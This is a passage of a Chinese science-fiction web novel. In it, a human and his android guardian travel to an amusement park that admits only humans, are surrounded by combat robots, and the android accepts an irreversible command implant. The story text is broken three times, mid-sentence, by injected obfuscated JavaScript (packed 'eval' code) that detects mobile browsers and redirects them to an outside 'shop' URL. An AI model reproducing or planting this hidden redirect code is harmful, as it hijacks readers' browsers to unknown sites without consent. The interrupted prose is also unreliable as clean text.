程鸢回想自己昨晚的心路历程,乖乖说:“想这次出门前能不能遇到和洛伊、小高小艾一样的好人,我就可以交新的朋友了。” 说这段话的时候,程鸢敏锐地捕捉到顾栩尧的脸色变得难看了。 为什突然不开心了? 程鸢有些想不通。 在顾栩尧的脸色越来越难看的时候,程鸢连忙转移话题道:“我还想了你。” 顾栩尧的表情没有那么可怕了,看着程鸢示意他继续说下去。 程鸢悄悄松了一口气,“我想说……呃,我不喜欢那顶蓝色的帽子。” 顾栩尧的拇指轻轻摩挲了一下手中的数据板,嘴角不着痕迹地勾起,“好吧,那不拿了。” 啊,他心情变好了。 程鸢想。 经过这些天的相处,程鸢发现,顾栩尧的心情还是比较容易读懂的,但是心情变化的原因程鸢完全猜不透。 大概仿生人有一套属于自己的逻辑吧。 但还好,没睡好这件事就这样翻篇了。 …… 出发前顾栩尧最后一次清点行李,程鸢则乖乖地站在一边。 直到现在,程鸢依旧是兴奋大于忐忑。 虽然因为自己是比较脆弱的人类,程鸢多少有点不安,但上城区的人类与仿生人可以和谐相处,而且,迄今为止他遇到的仿生人都很友善。 ……所以,或许这个世界并没有那么可怕。 他能感受到,小高小艾,还有洛伊院长,是喜欢自己的,自己也很喜欢他们。 至于顾栩尧嘛…… 程鸢乖乖站着,任由顾栩尧想办法将贝雷帽固定在自己的后脑勺上。 他也是一个好的仿生人。 程鸢将这句夸奖压到了心里,眨眨眼,问:“这次有没有什么需要注意的事情?” “没什么,需要注意的是我,我会看好你。”顾栩尧笨拙地研究着发卡,说,“在外边,我是你可以完全信任的、甚至是唯一值得信任的人。” 程鸢:“不是人,是机器人。” 顾栩尧:“不是机器人,是仿生人。” “……”程鸢撇撇嘴,“反正,这次如果你再……再乱跑的话,我绝对不会原谅你的。” “好。” “我可以在游乐园里玩吗?” “看情况。” 程鸢兴奋地说:“我昨天看视频了,感觉好好玩。我想坐过山车,还想去鬼屋。” “想吧。幻想也是满足心理需求的一种方式。”顾栩尧的声音在程鸢听来格外冷漠,“幻想的同时要做好不会去玩的心理准备。” 贝雷帽终于被固定在程鸢头上了,顾栩尧又退后几步看程鸢,程鸢配合着慢悠悠地转了个圈,说:“你不会是不敢玩吧。机器也会恐高吗?” “激将法没用。” “……那我会见到很多仿生人吗,像在科学院一样?” 顾栩尧:“这次应该会见到更多人类。” 程鸢的眼睛瞬间睁圆了,惊喜不已:“真的吗?人类?!” 顾栩尧点点头。 “是交易所里那样被售卖的人类,还是可以自由行动的人类?” “具体情况我也不清楚,但在上城区应该不会出现贩卖人类的情况。” 程鸢点点头。 顾栩尧最后整理了一下程鸢的衣服,确定一切完美,站起身问,“准备好了吗?” “嗯!” “出发。” * 据说这次的目的地比较远,程鸢以为会换种交通工具,没想到依旧是顾栩尧的那辆私人悬浮车。 虽然出行方式毫无新意,但程鸢还是很激动。 他始终保持着高亢的情绪,趴在窗边,双手搭在窗户上,看窗外掠过的风景。 “程鸢。”顾栩尧一边操作控制台调节温度和音乐,一边冷冷说,“我们还没离开住宅区,这里的风景你已经看过几次了。” “不一样嘛,这是我第一次出远门,我一定要把全程的风景都记下来。” 顾栩尧:“全程预计八小时二十三分六秒,如果你一直维持那个姿势,下车后恐怕要先联系医生。” “……” 程鸢撇撇嘴,决定不和这个机器人较真。 车行驶得很快,不一会儿就将住宅区甩在了后面。 某些风景有一点眼熟,应该是程鸢被顾栩尧从交易所带回来的时候见过,但他当时太紧张了,没有认真去看的心情。 他看了一会儿,问:“顾先生,那片一直在闪紫光的地方是什么?” “第七区的能源中继站,负责调节电网负载。” 顾栩尧平静地回答,视线扫过程鸢映在车窗上发亮的眼睛,不动声色地将车速降低了一些。 程鸢指着远处,“那片像银色大树一样的建筑呢?” “垂直种植园,你吃的蔬菜大多是从那里来的。” “哇……”程鸢感叹。 当悬浮车开始爬升,准备穿越横在两座山峰之间的巨型桥梁是,程鸢看着下方深不见底的云雾,下意识攥紧了拳头。 “好高……不会掉下去吧?” “车辆运行状况良好。”顾栩尧陈述道,“如果害怕的话就先别看了。” “好吧……”程鸢乖乖退回来,坐在顾栩尧身边。 车内陷入短暂的沉默,只有窗外风噪的低鸣。 好安静……做点什么吧。 程鸢思考了一下,从顾栩尧给自己搭配的斜挎小包里拿出一个精致的铁盒。 这是洛伊院长又一次寄来的小饼干。里面有小纸条写到,上次去科学院的时候洛伊本来想当面送给程鸢,但他们走得太急了,所以没送成,只好寄来了。 按照顾栩尧谨慎的程度,他肯把饼干连同纸条一起转交给程鸢,已经有点超乎程鸢的想象了。 而洛伊院长寄来的通讯设备被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307873|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扣下了,程鸢拿到的是顾栩尧亲手改装的。 他偷偷瞄了一眼旁边正襟危坐的顾栩尧,之间在铁盒边缘扣了几下,最终还是将铁盒默默往顾栩尧的方向挪了几厘米,问:“你要吃吗?” 顾栩尧的视线落在盒子上,停顿了一秒:“不吃。” 程鸢像是松了一口气,收回了手,自己拿起一块饼干小口地吃。 顾栩尧:“我们刚出发你就饿了吗?” “我只是觉得吃东西比较适合现在的氛围,而且也没有别的事情可以做啊。”程鸢忽然想到什么,变得兴奋起来,“不如我们来聊聊你吧。” 顾栩尧皱起了眉,不解地看着程鸢。 “你之前去过游乐园吗?” “现存的记忆里,没有。这是第一次。” “哦……差点忘记你的记忆被损毁过了。”程鸢鼓着腮帮子嚼饼干,声音含糊地继续问道,“那你是什么时候被洛伊院长修好的啊。” “大约三年前。” 程鸢想了一下,这比他在管道里醒来的时间要早。 “……仿生人真的可以失忆吗?你们不是可以将记忆储存起来吗?” “核心处理器受损就会失忆,可能是遭受到了袭击,也可能是自毁。” 自毁? 会有人做这种事吗? “那你是哪种啊。” “洛伊说,是第二种。” 程鸢愣了愣,问:“为什么要那么做?” “不知道。” ……听上去顾栩尧也有过不好的经历。 程鸢皱眉,安静了下来,顾栩尧自然也不会主动搭话,沉默地在数据面板上搜索着什么。 程鸢又被勾起了好奇心,凑过去看,数据板上的字密密麻麻,而且在飞快滚动。 好晕啊……程鸢缩回了脑袋。 片刻后,顾栩尧的视线从数据面板上挪开,看向程鸢,“方舟乐园私密性极高,对外公布的信息寥寥无几,未知因素太多,你一定要跟好我。” 顾栩尧的神情格外严肃,程鸢看着顾栩尧,乖乖点了点头,然后弱弱地给自己打气道:“其实我们都是第一次去游乐园,说不定会有我保护你的情况呢?” 顾栩尧:“无论是智力、武力还是耐力,你都不如我,要怎么保护我?” 程鸢不服气道:“万一有比较难缠的敌人呢?我可以……我可以扑上去抱住对方拖延时间。” 顾栩尧皱眉道:“人类十分脆弱,很难修好,不建议你那么做。” “总、总之,我肯定会有作用的,遇到危险你别丢下我自己跑了就行。” “不会的。” 程鸢满意地点点头。 顾栩尧继续垂下头,搜索方舟乐园的资料。 其实,对于此行他也没有百分百的把握。 搜索界面全都是无关紧要的宣传信息,有关游乐园管理和运行方式的介绍,被清除得干干净净。 能做到这种程度,游乐园的所有者一定是不可小觑的人物。 顾栩尧忽然想起那个据说在这里工作的、陈守渊的养女。 陈守渊因好友周瑾离世而痛恨仿生人,其养女所在的游乐园又不肯接待仿生人。 这期间或许有什么联系。 说起来,洛伊为什么还是没有给自己解释仿生人进入游乐园的条件,忘记了吗? 顾栩尧正要打开通讯设备联系洛伊,忽然自己的衣袖被拉了拉。 下一秒,程鸢把全系屏挪到了自己面前,兴奋地说:“你看这个!” 屏幕里,两个全身都是由金属制成的机器人在激烈地战斗,左边的那个率先发难,右臂瞬间弹出三十厘米的合金刀,直劈对手的左肩,而对手反应极快,左臂金属“哐当”挡住刀刃,盾面当即崩出一道火星。 程鸢:“你看他们两个,好厉害!你和他们算同类吧。” 顾栩尧看着程鸢,眼神中有一丝无奈。 程鸢:“诶呀,我知道你要说什么,你是仿生人,他们是机器人。但也差不多吧,我的意思是,仿生人也这么厉害吗?” “制作仿生人的目的是造出很像人类、但可以肆意玩弄的对象,所以大部分仿生人没有那么强的械斗功能。” “啊~”程鸢看上去有些失望,“那你呢,有什么强项吗?” “我的械斗能力还算不错,而且体力,速度,身体素质,承受力,恢复能力等都算顶级。”顾栩尧平静地回答,“如果你想了解得更具体,我可以给你看研究报告。” “不用了。”程鸢连忙摇头。 15. 方舟乐园(三) 八个小时比程鸢想象的要快很多,他一路上不停地吃吃喝喝,看了一会儿电视,靠着顾栩尧休息了一会儿,又缠着他聊了很久的天,就到了天穹市。 他们上午十点就出了门,到达天穹市的时候天还没黑彻底。 这里的建筑个个都比第七科学院气派,大楼直插天际,楼体上灯光璀璨夺目,城市上空还飘着醒目的全息广告,繁杂而华丽。 程鸢兴奋地看着窗外的一切,“这里有好多人啊。” 顾栩尧清点着携带的东西,回应:“嗯。” 程鸢盯着远处的行人看了许久,好奇道:“他们是仿生人还是人类?” 顾栩尧深灰色的眼睛盯着那边看了一会儿,说:“仿生人比较多。” “你怎么看出来的?我感觉他们没什么区别啊。” “仅从外观和行为表现很难区分。但仿生人的眼睛有特殊感应功能,可以辨别,人类则有专门检测生物电的仪器,除此之外,靠经验和感觉也可以区别。” “那我这种没有仪器也没有经验的人类该怎么办……真的有必要把仿生人做得这么像人类吗?” “这要问旧时期的人类了。” 程鸢不能理解,撇撇嘴,继续欣赏窗外的风景,“天穹市看着也挺好玩的,我们要在这里留一晚吗?” “不,我们现在就去游乐园。” * 悬浮车被顾栩尧操纵着驶向天穹市的另一端。 方舟乐园位于边缘,占地面积极大,当顾栩尧说目之所及都是方舟乐园的一部分时,程鸢惊讶得目瞪口呆。 他远远地辨认出了摩天轮和过山车,指给顾栩尧看,顾栩尧则和他分析这些设施的安全隐患。 程鸢边听,边在心里默默吐槽这个死板的仿生人。 之后,顾栩尧将数据面板递到程鸢手上,给他看了看方舟乐园的官方网站。 上面说,入园时间是早上八点到晚上八点,园内住宿、餐饮、便利店,一应俱全。 ……怪不得都已经这么迟了顾栩尧还要去,是要直接在乐园里过夜吧。 程鸢拿着顾栩尧的操作面板,边看方舟乐园的宣传边滑动屏幕,忽然看到了一行特别醒目的字: 【方舟乐园仅向人类开放。】 “这是什么意思?” “意思是这里不算欢迎仿生人。” 悬浮车缓缓驶入车库,速度越来越慢直到停下,门自动滑开了。 “到了,下车吧。” “不欢迎仿生人?!那你怎么办啊……” 程鸢这么说着,跟在顾栩尧身后跳下了车,被面前的景象震撼到了。 ……比在悬浮车上看到的要壮观很多,游乐园的大门高耸而金碧辉煌,黄昏下折射着璀璨的光芒,院内建筑色彩鲜艳夺目,在斑斓彩灯下如梦似幻,像是到了另一个世界。 顾栩尧操控着行李飘下车,悬在自己身侧,“跟紧我,别乱跑。” 程鸢一边紧紧跟在顾栩尧身边,一边打量四周,他好奇地东张西望,任何新鲜事物他都要盯着多看一会儿。 二人一路走到了正门旁边的售票口,可能是因为太晚了,所以售票口格外冷清,只有零零星星的几个人。 程鸢偷偷打量他们,暗自观察他们是人类还是仿生人。 行李悬浮在顾栩尧的另一边,程鸢觉得还是夹在顾栩尧和行李中间更有安全感,于是决定和顾栩尧换个位置。 可他刚放缓脚步绕到顾栩尧身后,就踩到了什么。 “啊。”程鸢回头后,发现是一个清俊的少年,黑发黑眸,穿着看上去材质很高级的衣服。 他看了一眼程鸢,又看向程鸢身后的顾栩尧,视线在顾栩尧身上停留了片刻。 程鸢踩到的是这个人的脚。 “对、对不起!” 顾栩尧听到声音,也停下脚步回头。 “没关系。”少年弯下腰简单用纸巾擦了一下皮质鞋面,程鸢在一旁手足无措。 “落点灰而已,这双鞋也没几个钱。”少年语气平常地对程鸢说:“你也是现在入园吗?” 程鸢:“啊……是的。” “我也是,我叫安逸,要不要结伴。” 程鸢下意识地回头看顾栩尧。 顾栩尧冷着脸回复:“不好意思,我们不和别人同行。” 谁知安逸的神情也冷了几分,说:“我没和你说话。” 程鸢震惊了。 从交易所到科学院,从下城区到上城区,他从没见过谁这么和顾栩尧讲话的。 下一秒,安逸转向了程鸢,恢复了平常的语气问:“你愿意吗?” “呃……”程鸢支支吾吾的,想转头去看顾栩尧,但气氛太不对劲了,他不敢轻举妄动,所以僵着身子没动。 顾栩尧直接轻轻握住了程鸢的脖颈,说:“程鸢,我们走。” “程鸢,你的名字很好听。”安逸冷声,“但,或许是你没经验,我想提醒你一下,不要太宠爱仿生人。” 宠爱仿生人?他说的真的是自己吗? 程鸢支支吾吾道:“什、什么意思啊。” “养狗,首先要考虑的是衷心,和不乱叫,不是吗?” 这番话意有所指。 顾栩尧挡在程鸢身前,面无表情地看着安逸,深灰色的眼眸中已经燃起了丝丝缕缕地怒火。 “胆子这么大吗?”安逸眼中丝毫不见惧色,按下了手中的什么,远处立刻响起了警报声。 程鸢被骤然响起的警报声吓得睁圆了眼睛。有无人机从乐园内向他们这边飞来,与此同时售票厅旁边的一个小门中冲出很多人,将他们围了起来。 程鸢还没反应过来发生了什么,呆呆地看着围成一圈的“人”。 仔细看才发现,他们根本就人,而是和在悬浮车里看的视频里一样,是金属材质的机器人。 安逸从始至终没有看顾栩尧一眼,而是看着程鸢说:“很抱歉,但或许这能给你一个教训,要怪就怪你没有约束好自己的仿生人吧。” 他说这句话时,程鸢完全没有从他的眼中看出任何歉意。 十数个动作整齐划一的机器人将程鸢和顾栩尧团团围住,呈准备进攻的姿态。 程鸢看着机器人泛着金属光泽的躯体,大脑一片空白,他向顾栩尧那边挪了挪,直至半边身子紧紧贴住他。 他看过这种机器人战斗的场面,激烈且残忍。 如果顾栩尧真的没有械斗的能力,那么他们两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307874|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将毫无还手之力。 他想到或许能和这些机器人讲道理,他尽可能冷静下来,说:“我们谈一谈……” 但那些机器人依旧一动不动地围着二人,姿势都分毫未变。 程鸢怀疑自己的声音是不是太小了,他们没有听到。 顾栩尧:“这些机器人只会执行指令,听不懂你在说什么。” “啊……” 程鸢呆呆地僵住了身子。 那怎么办? 巨大的无力感包裹着程鸢,他不自觉地攥紧了顾栩尧地衣角。 顾栩尧抬起头,阴沉地看着面前有些得意的安逸,目光没有丝毫温度,“我需要解释。” “不难猜吧,我要给你点教训。一个仿生人敢来方舟乐园,就要遵守方舟乐园的规矩。”安逸耸耸肩,理所当然道,“虽然有主人陪同,但没有配备任何防护设施,只凭这一点,就严重违反了规定。而我这样手无寸铁之力的人类,面对没有束缚、且疑似对人类有敌意的仿生人,只好喊几位帮手来保护自己了。” 几位……? 程鸢看了一圈严阵以待的机器人,不是很认可这个量词。 还有,有主人陪同是什么意思啊。 程鸢默默思考这个称呼。 难道是在说自己是顾栩尧的主人吗? 他立刻反驳道:“其实我只是他的……” 程鸢没有继续讲下去。 ……因为他也不知道自己算顾栩尧的什么。 不知道是不是这段时间听了太多,导致他现在只能想到宠物这个词。 但也不能真的这么说吧…… 他转头,用求助的眼神看向顾栩尧。 顾栩尧没有帮程鸢把话接下去,而是对安逸说:“我们现在尚未进入乐园,你无权用乐园的规矩处置我。上城区也有上城区的规矩,你这样是破坏仿生人与人类和谐的行为。” 安逸:“那么,你对主人不敬,甚至敢替主人做决定,我是帮你的主人教育你,这样可以了吗?” 顾栩尧冷着脸没有回应,神色明显不悦。 为什么要帮自己教育顾栩尧? 啊呸!自己压根就不是顾栩尧的主人! “不不不,他只是……”程鸢看了顾栩尧一眼,稍作停顿后继续说,“他只是负责照顾我的人。” “管家?仆人?”安逸猜测道,“不管是什么,他都僭越了。我说过,不能太娇宠仿生人,我这是在帮你。” “如果真的是在帮我,就把这些机器人收回去吧。” 安逸看着程鸢,沉默了片刻后说:“程鸢,你被这个仿生人蛊惑、甚至是控制了,忘记了自己的立场。你现在很危险。” 安逸的语气有一丝惋惜,像是想救程鸢,但是这句话程鸢完全听不懂,他倒是更怕安逸控制金属人攻击自己和顾栩尧,这才是真正的“危险”。 顾栩尧冷声道:“程鸢,不用害怕。” 很难不害怕吧。 这么多机器人,顾栩尧能打得过吗? 程鸢觉得顾栩尧让自己别害怕,是在逞强。 他决定以理服人,向安逸解释道:“你真的不用帮我教训他,他又没犯什么错,而且我和他根本不是主仆关系……” 16. 方舟乐园(四) 安逸听了程鸢的话,像是有一瞬的诧异,接着冷下了气场。 “我想,乐园的宣传页面上已经说得很清楚了,方舟乐园不欢迎没有认人类为主人的仿生人,而没有主人的仿生人出现在这里,我只能视为挑衅。”他挥挥手,风轻云淡道,“动手吧。” 下一瞬,机器人像是被激活了,关节处咔咔作响,随着他们越来越靠近二人的步伐,他们扬起了从手臂里伸出的金属刀。 怎么这样?! 一股细微的战栗从他的脊椎末端爬上程鸢的身体,顺着单薄的肩胛一路蔓延至指尖。 顾栩尧银灰色的瞳孔此刻保持着缩小的状态,仔细看能发现在隐隐发光,看上去凌厉危险,他在调高身体机能。 他环视一圈,心中默默计算。 ……应该不成问题,只是很麻烦。 而且在乐园门口出了这样的事,恐怕找那个养女的事会更加困难…… 就在战斗即将爆发时,机器人的动作,忽然变得迟钝了。 ……他们的动作越来越慢,生锈般一卡一卡地停在了原地。 不动了。 姿势怪异,手臂上的金属刀就那么滞在半空中,像是被按下了静止键。 程鸢盯着看了好一会儿,掐了自己一下,确定不是幻觉,僵硬地回头看顾栩尧。 顾栩尧皱着眉,显然他也不清楚发生了什么。 安逸变得气急败坏,反复调试指令,想要操控机器人继续行动,压低了声音喊道:“怎么了?进攻啊!” 但一个声音让安逸的动作停了下来。 “少爷,非常抱歉。”这个声音沉稳有力,出自一位中年男性,“陈小姐让我来制止您。” 忽然,机器人又动了,程鸢心中一紧,却发现他们只是默默退到了两边,原本压迫着程鸢和顾栩尧的圈现在散开了。 他缓缓松了一口气。 但顾栩尧仍然全身紧绷,保持着身体机能最高值的戒备状态。 ……情况完全不在掌控中,现在还不算彻底脱离危险。 一个看上去五十岁出头的男性穿过机器人群,走到三人面前,他穿着精致干练的制服,彬彬有礼地对程鸢和顾栩尧点头示意。 不知为何,他看到程鸢时,眼中似乎闪过了一抹诧异,并且视线在程鸢脸上停顿了许久。 在程鸢被盯到忍不住想问点什么的时候,那个人移开了视线,恭敬地对安逸说:“小姐对您在乐园外启动战傀的行为感到不满,请您立刻去找她。” 安逸看上去有些僵硬。 他了解温伯,也了解陈初璃。 温伯这么说,陈初璃大概率已经很生气了。 “这次不是我胡闹……”他赶紧指了指顾栩尧,说,“他,这个仿生人,完全不受控于人类,就想进乐园,肯定别有用心!” 他又软下语气,跟温伯讨饶,“你帮我跟阿璃说说好话,不然她不会放过我的,求你了温伯。” 温伯:“……我会尽力的。” 氛围好像融洽了不少,没有那么剑拔弩张了。 就在程鸢松了一口气时,安逸却不打算轻易放过顾栩尧,“那个人类说了,他和那个仿生人没有任何关系。所以那个仿生人真的很可疑,至少不能让他进乐园。” 不能进入乐园? 程鸢愣了愣。 不行,顾栩尧说了,他来乐园是有很重要的事要处理。 他回头看了一眼顾栩尧,只见他皱着眉头,似乎也在思考对策。 安逸还在和温伯控诉顾栩尧的罪行以及让他进入乐园的危害。 他的理由是,自己不是顾栩尧的主人。 ……一定要想办法帮帮顾先生。 “不是这样的。” 程鸢微微提高了音量,大家都安静下来了,看着程鸢。 “……顾、顾先生,确实是我的仿生人。” 程鸢现在根本不敢看顾栩尧,自然也没看到他脸上的震惊,他硬着头皮自顾自地继续说:“我对乐园的规则不太了解,有误会,所以才否认的……他确实是陪我进乐园玩……” 程鸢越说,越觉得自己变厉害了。 刚被顾栩尧捡回家的时候,给他几个胆他都不敢自称是顾栩尧的主人。 果然是熟悉起来之后胆子就变大了。 而且这也是为了帮顾栩尧,他一定能理解…… ……可安逸好像不太相信自己这套说辞。 程鸢也不知道该怎么证明这段不存在的主仆关系了。 他扭头看顾栩尧。 顾栩尧已经反应过来,他已经变得镇静平和,眉眼染上了几分恭敬,对程鸢说:“很抱歉,破坏了您的兴致,请原谅我的失职。” 程鸢:“呃……嗯。” 虽然,顾栩尧一秒领会了自己的意思,程鸢挺开心的。 但看着顾栩尧这样顺服的姿态,程鸢居然有点无法适应,还有一点……爽到…… 他在想,这会不会是被那种叫“战傀”的机器人一刀劈死前的幻觉。 程鸢眨了眨眼,漂亮的眼睛里满是得意,“没关系没关系,我原谅你了。” 安逸还在思考。 他说:“他刚刚叫你顾先生,你不是他的仿生人吧。” 顾栩尧转过身,恢复了疏离的神情,冷漠地对安逸说:“程鸢比较有涵养。” 安逸穷追不舍:“那他刚刚说,他不是你的主人……” 顾栩尧风轻云淡:“他很尊重我。” 安逸半信半疑:“如果他真的是你的主人,你怎么敢替他做决定?” 顾栩尧理所当然:“他比较依赖我。你说的对,他确实太宠我了,我们早已超出了普通的主仆关系,平等地对待我、甚至顺从我是他的喜好。” 程鸢总觉得顾栩尧说“主仆关系”这几个字时,有点咬牙切齿。 他暗戳戳看了顾栩尧一眼。 心中更加得意了。 安逸嘀咕着:“还是不太正常吧……” 程鸢有点紧张。 ……果然,顾栩尧这样撒谎根本不会有人信的。 但很快,安逸紧皱的眉头就松开了。 他释然了。 “等一下,喜好……?哦……难道你是拿他做那种事的?想不到你还有这样的癖好。”他恍然大悟般对程鸢说:“怪不得我要罚他的时候你那么着急,我能理解的,遇到好用的、心爱的东西,怕被人弄坏很正常。” ? 程鸢完全听不懂安逸在说什么。 但……顾栩尧的神色仍然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307875|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡淡的,没有反驳,应该不是在说什么不好的事吧…… 他迟疑地应下了。 “我懂,我懂了。”程鸢也不知道安逸到底懂什么了,但他就是懂了,边懂还边走过来,搭上了程鸢的肩膀说,“原本以为你是太宠溺仿生人了,没想到你才是楷模啊,这种玩弄仿生人的态度,值得学习。” “啊……我……” 程鸢想解释自己没有玩弄仿生人,和顾栩尧相处时自己才更像被玩弄的那一个。 但顾栩尧径直走过来,将安逸的胳膊从程鸢肩上甩下去,并且轻轻拍了拍程鸢的肩膀,不知道是在平整衣服,还是在清理脏东西,冷着脸说:“请和他保持距离。” “啊……”安逸又恍然大悟了,笑着对程鸢说,“之前是我误会了,我还以为他在顶撞人类呢,原来是因为你喜欢这种类型的啊。” 程鸢依旧听不懂。 顾栩尧则冷着脸问:“现在我们可以进入乐园了吗?” “当然可以!只是……” 安逸还没说完,温伯打断了他,恭敬道:“不好意思二位,陈小姐有请。” 温伯的话让现场的气氛再次变得微妙,他恭敬的态度下掺着不容拒绝的意味。 因笑而微微眯起的眼睛平静地注视着顾栩尧和程鸢,眼尾丝丝缕缕的褶皱让他看起来慈祥可靠,但也填了几分无形的压迫感。 “看来阿璃也对你的仿生人感兴趣。”安逸整理了一下自己的帆布包,对程鸢摆摆手说,“我先过去了,我们一会儿见。” 程鸢有些懵,他下意识地靠近顾栩尧,几乎贴在了他身上,用气声紧张地问:“那个陈小姐是谁?会不会有危险啊,我们真的要进去吗……” 陈小姐,陈初璃。 恐怕就是陈守渊的养女。 她主动要见他们。这比顾栩尧预想的要快,不知道是好事,还是坏事。 “不清楚。”顾栩尧低声回答,他不能在此刻和程鸢聊太多。 他抓起程鸢的手,不动声色地检查了手腕上的灵犀手环和定位器,确认运行状态完美,然后轻轻握了一下程鸢的手。 仿生人那种微微温凉的体温从手心处传来,让程鸢慌乱的心跳稍微平复了一点。 “请放心,主人。” 顾栩尧垂下眼,用有些沙哑低沉的声音对程鸢说。 程鸢的耳尖瞬间爆红,眼底也染上了绯色。 这个称呼从顾栩尧嘴里说出来,带着一种难以言喻的冲击力。 温伯还在一旁笑吟吟地等他们,程鸢的手脚都不知道该往哪里放了,只能红着脸点了点头,像个真正被骄纵的小少爷。 顾栩尧对温伯说:“我们准备好了,请带路吧。” “在进入乐园前,二位还需要做一些准备。” …… 温伯在前面带路,将顾栩尧和程鸢带到了一个被称为“安检室”的地方。 与其说是安检,倒更像是一个高科技的“刑房”,墙壁上摆着各种用途不明的仪器,监控明晃晃地闪烁着指示灯,向来访者宣告,他们已在监视之下。 “根据乐园的规定,任何仿生人入内,都必须施加束缚。”温伯的态度恭敬,语气平和,却带着不容置疑的意味,“请二位配合,这不会花费太多时间。” 17. 方舟乐园(五) 温伯:“少爷吩咐,已经很久没有仿生人来过了,而且,他对二位多有得罪,你们所以可以直接享受最简单、也是最有趣的防护,算是他的赔罪。” 他领着程鸢和顾栩尧走进一间房。 刚进去,就能看到一个竖立着的巨大仪器,刚好能站进去一个人。 程鸢有一种不太好的预感。 “……这是什么?” 温伯:“这个设备,可以在仿生人身上根植你的某条指令,终身有效,不可逆,且仿生人无法违抗。” 听到“终身”、“不可逆”这些词,程鸢攥紧了手中顾栩尧的衣角。 “这个……不太好吧,我倒也不是想让他变成只会执行指令的傀儡……” “别担心,他并不是完全受您操控。这只能让您的仿生人无法违抗你的某一条指令,一旦录入,以后你喊出相应指令,他就会照做。” 温伯笑着解释道,“这也是方舟乐园特有的一项服务。” “不能换成别的吗?” “抱歉,不可以。如果你们实在不愿意,也可以现在离开乐园,我们不会阻拦。” ……态度意外得强硬啊。 “我们不弄这个了吧,感觉不太对劲……” 程鸢皱着眉看向顾栩尧,小声询问他的意见。 顾栩尧看到程鸢的目光,有一瞬的愣神。 程鸢是在担心自己。 即使知道自己是各方面机能都优于人类的仿生人,即便这是对他有利的事情……他也会为了自己感到委屈吗? ……那么自己也愿意为了给程鸢治病,承受这一点点委屈。 何况,只是受控于程鸢,这也算不上什么委屈。 程鸢是不会为难自己的。 …… 程鸢没有等到自己想象中,顾栩尧的抗拒。 相反,顾栩尧十分平静。 他平静到像是在和别人谈论今天天气如何这样的寻常事,看着程鸢,眼神中没有丝毫抗拒。 程鸢知道,他答应了。 这完全在程鸢的意料之外,不知所措的人倒成了自己,他不可置信地用气声对顾栩尧说:“真的要答应吗?这是终身的!而且,你不怕我设置奇怪的指令吗?” “你不会为难我的。”顾栩尧轻声说,“况且,这样你就有办法让我别远离你了。” 程鸢抿抿嘴唇,很认真地看着顾栩尧说:“我没有在担心这个……” 顾栩尧又将手搭在了程鸢的后颈处,拇指侧面轻轻摩挲着程鸢瓷白细腻的皮肤,然后走进了那个仪器中。 温伯让程鸢站到顾栩尧面前,自己则走向操作着控制台。 程鸢看着顾栩尧,看到了他平静无波的眼睛。 温伯问程鸢:“那么,你想下什么样的指令呢?” 事已至此,程鸢一定要想一个合适的指令。 温伯给了实例,比如安静和别动。 安静的话…… 顾先生本来话就很少,完全没必要。 别动……? 程鸢想不出什么样的情况用得到这个指令。 他看了一眼顾栩尧。 他站在仪器里,比平时更高了,程鸢的头要仰得很高才能做到和他四目相对。 他试图从顾栩尧的脸上看出一丝不耐烦,但他的的神色像一片无风的湖泊,映照着云卷云舒,没有一丝波澜。 他对程鸢轻轻点了点头。 他很信任自己。 他相信自己不会为难他。 “那么。”程鸢的声音格外轻,轻盈到像是从很远的地方传来,他向顾栩尧伸出一只手,掌心向上,说,“把你的手给我吧。” 话音落下的一瞬间,仪器里的光强了几分,顾栩尧缓慢地眨了一下眼睛,也抬起了手,轻轻地将自己的手搭在了程鸢的手上。 顾栩尧的体温传来时,程鸢脸颊有些微微泛红。 总觉得……这个姿势像是在调教小狗。 莫名的羞耻…… “这是我见过最有趣的指令。”温伯笑着对程鸢说,“恭喜你,已成功输入指令,这条指令将终身有效。” 顾栩尧已经从仪器上下来了,没看出有什么不适,只是摸了摸脖子上的金属项圈,可能还不是很习惯。 他冷漠到近乎置身事外的态度,让程鸢又在怀疑他是不是没有感情的机器…… 同时,他也有点好奇那个所谓的指令。 如果现在对顾先生说“请把你的手给我”,顾先生就会乖乖对自己伸手吗? 他想试试那个指令,但总觉得现在不是个好时机。 他偷偷看了一眼顾栩尧的脸。 一如既往的冷漠、面无表情。 总觉得自己这辈子都没机会用到那个指令。 他不敢…… 顾栩尧没什么情绪地问温伯:“现在我们可以去见陈小姐了吗。” “当然可以。”温伯恭敬地点头道,“小姐也很想与你们结识,尤其是程鸢先生。” 程鸢总觉得,温伯的语气,有一些意味深长。 …… 温伯在前面带路,他们走出了安检区,正式进入了乐园。 当程鸢跨出阴影的交界线,阳光重新照在身上时,仿佛跨入了另外一个次元的世界。 